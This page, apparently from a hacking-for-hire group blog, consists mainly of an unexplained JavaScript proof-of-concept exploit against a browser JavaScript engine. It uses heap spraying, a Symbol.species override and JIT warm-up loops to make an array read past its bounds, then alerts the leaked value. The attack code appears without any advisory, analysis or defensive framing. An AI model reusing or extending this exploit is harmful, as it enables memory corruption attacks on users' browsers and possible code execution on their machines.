Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863104103

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<script>

let size = 64;

garr = [];
j = 0;
function gc(){
	var tmp = [];
	for(let i = 0;i < 0x20000;i++){
		tmp[i] = new Uint32Array(size * 2);
		for(let j = 0;j < (size*2);j+=2){
			tmp[i][j] = 0x12345678;
			tmp[i][j+1] = 0xfffe0123;
		}
	}
	garr[j++] = tmp;
}

let arr = [{},2.2];

let obj = {};

obj[Symbol.species] = function(){
	victim.length = 0x0;
	for(let i = 0;i < 0x2000;i++){
		gvictim[i].length = 0x0;
		gvictim[i] = null;
	}
	gc();
	//Array.isArray(garr[0][0x10000]);
	return [1.1];
}

let gvictim = [];

for(let i = 0;i < 0x1000;i++){
	gvictim[i] = [1.1,2.2];
	gvictim[i].length = size;
	gvictim[i].fill(3.3);
}

let victim = [1.1,2.2];
victim.length = size;
victim.fill(3.3);

for(let i = 0x1000;i < 0x2000;i++){
	gvictim[i] = [1.1,2.2];
	gvictim[i].length = size;
	gvictim[i].fill(3.3);
}

function fake(arg){
}
for(let i = 0;i < size;i++){
	fake["x"+i.toString()] = 2.2;
}

function jit(){
	victim[1] = 1.1;
	arr.slice();
	//fake.x2 = 6.17651672645e-312;
	return victim[2];
}

flag = 0;


for(let i = 0;i < 0x10000;i++){
	xx = jit();
}

arr.constructor = obj;

Array.isArray(victim);
alert(333);
alert(jit());
</script>